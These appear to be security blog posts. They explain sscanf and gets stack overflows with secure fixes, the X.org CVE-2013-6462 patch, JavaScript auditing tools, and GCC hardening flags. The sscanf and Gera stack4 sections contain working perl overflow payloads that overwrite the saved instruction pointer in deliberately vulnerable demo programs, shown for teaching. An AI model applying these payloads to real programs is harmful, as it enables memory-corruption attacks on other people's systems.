03 November 2014

Usage of Insecure sscanf()


Basic explanation of sscanf function :

int sscanf( const char *buffer, const char *format, ... );

format - pointer to a null-terminated character string specifying how to read the input.
  • (optional) integer number (greater than zero) that specifies maximum field width, that is, the maximum number of characters that the function is allowed to consume when doing the conversion specified by the current conversion specification. Note that %s and %[ may lead to buffer overflow if the width is not provided.
Basic Insecure Code :

 #include
int main (int argc, char* argv[])
{
  char str[256];
   sscanf (argv[1],"%s",str);
  return 0;
}

Instruction pointer was overwritten by user controlled stack values as a classical stack overflow shown below;
gdb-peda$run `perl -e 'print "\x90" x 264 . "\x42" x 8 '`
gdb-peda$ i f 1
Stack frame at 0x7fffffffe2a8:
rip = 0x4242424242424242; saved rip 0x0
called by frame at 0x7fffffffe2b0, caller of frame at 0x7fffffffe2a0

Secure Code: [ width was defined one less to reserve null byte ]

#include
int main (int argc, char* argv[])
{
  char str[256];
  sscanf (argv[1],"%255s",str);
  return 0;
}

When the same payload send as usual nothing happens.

Now Let's look more than 20 years of  X.org server bug, this was disclosed on this 2014.  The root cause was insecure usage of sscanf function while parsing bdf file format.  File format parsers written in C is always dangerous sometimes hidden like decades -::]

CVE-2013-6462: unlimited sscanf overflows stack buffer in bdfReadCharacters() 
diff --git a/src/bitmap/bdfread.c b/src/bitmap/bdfread.c
index e2770dc..e11c5d2 100644
--- a/src/bitmap/bdfread.c
+++ b/src/bitmap/bdfread.c
@@ -338,7 +338,7 @@ bdfReadCharacters(FontFilePtr file, FontPtr pFont, bdfFileState *pState,
char charName[100];
int ignore;
- if (sscanf((char *) line, "STARTCHAR %s", charName) != 1) {
+ if (sscanf((char *) line, "STARTCHAR %99s", charName) != 1) {
bdfError("bad character name in BDF file\n");
goto BAILOUT; /* bottom of function, free and return error */

27 October 2014

Javascript Auditing

Auditing of  a javascript code is time consuming and complex. I use these two node projects to make this auditing more efficient and faster.

Retire.js  looks up your 3.party libraries and find any publicly disclosed vulnerabilities that apply

Project Web Page ==> http://bekk.github.io/retire.js/

ScanJS  is a static analyses tool for javascript.

Project Web Page ==> https://github.com/mozilla/scanjs

JSBeautifier is also needed to beautify the code http://jsbeautifier.org/


22 February 2014

Control Flow Redirection Gera's stack4.c

Playing with Gera's awesome examples on 64-bit platform is really fun and challenging. Today I  show the steps for stack4.c solution.

First of all, the vulnerable string function gets() causes program to overflow and because of the following conditions, it is impossible to pass cookie value(0x000a0d00) as an input to gets() function
  • char * gets ( char * str );
    • When gets encounters a new line character or null byte, it stops reading, but does NOT store it.
##stack4.c##

int main() {
	int cookie;
	char buf[80];

	printf("buf: %08x cookie: %08x\n", &buf, &cookie);
	gets(buf);

	if (cookie == 0x000a0d00)
		printf("you win!\n");
}

So we need to change the flow of the program to get "you win !" value.

Here is the disassemble of main ::

(gdb) disassemble main
Dump of assembler code for function main:
   0x00000000004005bc <+0>: push   rbp
   0x00000000004005bd <+1>: mov    rbp,rsp
   0x00000000004005c0 <+4>: sub    rsp,0x60
   0x00000000004005c4 <+8>: lea    rdx,[rbp-0x4]
   0x00000000004005c8 <+12>: lea    rax,[rbp-0x60]
   0x00000000004005cc <+16>: mov    rsi,rax
   0x00000000004005cf <+19>: mov    edi,0x4006a4
   0x00000000004005d4 <+24>: mov    eax,0x0
   0x00000000004005d9 <+29>: call   0x400490
   0x00000000004005de <+34>: lea    rax,[rbp-0x60]
   0x00000000004005e2 <+38>: mov    rdi,rax
   0x00000000004005e5 <+41>: call   0x4004c0
   0x00000000004005ea <+46>: mov    eax,DWORD PTR [rbp-0x4]
   0x00000000004005ed <+49>: cmp    eax,0xa0d00 // compare; if true go +56 false jump +66
   0x00000000004005f2 <+54>: jne    0x4005fe
   0x00000000004005f4 <+56>: mov    edi,0x4006bc
   0x00000000004005f9 <+61>: call   0x400480
   0x00000000004005fe <+66>: leave
=> 0x00000000004005ff <+67>: ret  
End of assembler dump.

When we look the value in 0x4006bc ::
#(gdb) x/s 0x4006bc
0x4006bc: "you win!"

The call 0x400480 instruction basically push "you win" value from R12 to stack and then the puts function print out the screen.

[------------------------------------stack-------------------------------------]
0000| 0x7fffffffe4e0 --> 0x7ffff7dd4280 --> 0xfbad2a84
0008| 0x7fffffffe4e8 --> 0x7ffff7a8dc5f (<_io_file_overflow>: cmp    eax,0xffffffff)
0016| 0x7fffffffe4f0 --> 0x7ffff7dd4280 --> 0xfbad2a84
0024| 0x7fffffffe4f8 --> 0x8
0032| 0x7fffffffe500 --> 0x4006bc ("you win!")
0040| 0x7fffffffe508 --> 0x7ffff7a83002 (: add    eax,0x1)
0048| 0x7fffffffe510 --> 0x0
0056| 0x7fffffffe518 --> 0x7fffffffe590 --> 0x0
[------------------------------------------------------------------------------]


So our scenario should be writing stack frame pointer to address of +56 and make the execution of flow changed.We should find the exact length from buffer to stack frame pointer. As we can get the address of buffer from the code , it is easy to find SFP current address before the ret instruction.

# breakpoint on ret value ==>

buf: ffffe530 cookie: ffffe58c
123
[----------------------------------registers-----------------------------------]
RAX: 0x0
RBX: 0x0
RCX: 0xfbad2288
RDX: 0x7ffff7dd5a00 --> 0x0
RSI: 0x7ffff7ff6003 --> 0xa ('\n')
RDI: 0x7fffffffe533 --> 0xffe6880000000000
RBP: 0x0
RSP: 0x7fffffffe598 --> 0x7ffff7a33ea5 (<__libc_start_main>: mov    edi,eax)

The difference between 0x7fffffffe598 - 0x7ffffff530 is 0x68 which means 104 in decimal. After 104 character the RIP can execute any  address which we set.( 0x00000000004005f4 <+56>:)

# perl -e 'print "\x41" x 104 ."\xf4\x05\x40\x00\x00"' | ./stack1
buf: 9a3896e0 cookie: 9a38973c
you win!
Bus error (core dumped)


01 September 2013

GCC Security Flags


***NX/DEP FLAG  = -z execstack / -z no execstack----------------------------------
You can check execute flag on GNU_STACK program header to identify the compiled software support NX or not. Here is an output of following command.

      #readelf -W -l uaf | grep GNU_STACK
       GNU_STACK      0x000000 0x00000000 0x00000000 0x00000 0x00000 RW  0x4
         GNU_STACK      0x000000 0x00000000 0x00000000 0x00000 0x00000 RWE  0x4


***CANARY Check  = -f(no-)stack-protector-(all)-(strong)--------------------------
To identify canary protection you need to catch "__stack_chk_fail" function in the symbol header  on the elf file of the executable. The "strong" flag was developed by google engineers to overtake the performance trade off on "all" switch.

 If you are interested in 'strong' flag you can find the details here  http://tinyurl.com/nk4c7wu .

      #readelf -s stack4 | grep stack
        5: 00000000      0 FUNC    GLOBAL DEFAULT  UND __stack_chk_fail@GLIBC_2.4 (3)
        40: 00000000     0 FILE    LOCAL  DEFAULT  ABS stack4.c
        61: 00000000     0 FUNC    GLOBAL DEFAULT  UND __stack_chk_fail@@GLIBC_2


***FORTIFY_SOURCE  flag = -D_FORTIFY_SOURCE_=0,1,2,3---------------------This flag uses a built in object function called  __builtin_object_size() for some of the string functions as listed. 
       
Function List that support FORTIFY_SOURCE
         memcpy()       strcpy()       strcat()       sprintf()      vsprintf() 
         memmove()    strncpy()    strncat()     snprintf()    vsnprintf()
         memset()         fprintf()     vfprintf()    printf()       vprintf()

       #readelf -s stack4 | grep chk
           2: 00000000     0 FUNC    GLOBAL DEFAULT    UND __printf_chk@GLIBC_2.3.4 (2)
             3: 00000000     0 FUNC    GLOBAL DEFAULT    UND __gets_chk@GLIBC_2.3.4 (2)
             51: 00000000     0 FUNC    GLOBAL DEFAULT  UND __printf_chk@@GLIBC_2.3.4
             53: 00000000     0 FUNC    GLOBAL DEFAULT  UND __gets_chk@@GLIBC_2.3.4

Just keep in mind that FORTIFY_SOURCE can not protect you if the destination or source buffer of string functions could not be determined during execution time.


***Full RELRO flag = -Wl,-z, relro,-z, now -------------------------------------------Full RELRO enables the entire  GOT  remapped as readonly. By enabling that feature you entirely protect function pointer overwrites on plt, bss, dtors, data GOT sections.

***Partial RELRO flag = -Wl,-z, relro

Partial RELRO enables non-PLT GOT remapped as readonly. PLT dependant GOT is still writable.
     
     #readelf -l stack4 | grep GNU_RELRO
        GNU_RELRO      0x000f14 0x08049f14 0x08049f14 0x000ec 0x000ec R   0x1

To check FULL RELRO option you should grep BIND_NOW on dynamic section of executable.
 
     #readelf -d stack4 | grep BIND_NOW
        0x00000018 (BIND_NOW)          

***Format String Protection = -Wformat / -Wformat-security----------------------

This flag provides format string attacks on *printf family. -Wformat-security support additional reporting.

***Position Independent Executable flag = -pie--------------------------------------

Addition to ASLR protection PIE enables .text region addresses dynamic and this makes ROP  attacks much harder.

     #readelf -h fsp | grep 'Type: *DYN'

       Type:                              DYN (Shared object file)

References: http://software.intel.com , http://www.trapkit.de, Coding in C++Second Edition.